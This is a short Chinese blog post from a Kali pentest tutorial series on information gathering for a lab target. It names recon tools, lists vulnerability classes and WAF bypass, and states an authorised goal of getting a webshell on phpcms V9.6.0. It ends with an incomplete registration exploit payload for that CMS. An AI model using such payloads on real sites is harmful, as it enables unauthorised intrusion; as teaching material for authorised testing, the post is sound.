Kali工具正式篇 (第二章-5) 信息收集之综合信息收集靶场实例

最新推荐文章于 2024-07-09 19:50:48 发布

haohao-ing

最新推荐文章于 2024-07-09 19:50:48 发布

阅读量369

点赞数

文章标签：安全 web

本文链接：https://blog.csdn.net/weixin_48617547/article/details/106892111

版权

目录：
一、目标信息
二、目标架构
三、目标信息整理
四、相关工具

一：目标信息
Q：什么是目标信息？
A：1、目标人物
2、目标事件
3、目标的一切
eg:https://github.com/iSafeBlue/TrackRay
https://github.com/shmilylty/OneForAll

二：目标架构

Q：目标架构有什么作用？
A：发现更多漏洞：
1、远程代码执行
2、解析漏洞
3、C段存在多站点
4、Waf – 1.识别 2.绕过 3.拿下站点

三：目标信息整理

Q：主要收集整理哪些信息？
A：1、授权渗透测试目的：拿到Webshell，脚本语言：php 中间件：iis6.0，nginx
cms：phpcms V9.6.0
2、信息收集
3、漏洞利用（漏洞利用文章：http://blog.nsfocus.net/phpcms-v9-6-getshell-0day-vulnerability-analysis/）
4、权限提升

四：相关工具

1：payload:
siteid=1&modelid=11&username=rootde1&password=ssevses&email=ssevenss@qq.com&info[content]=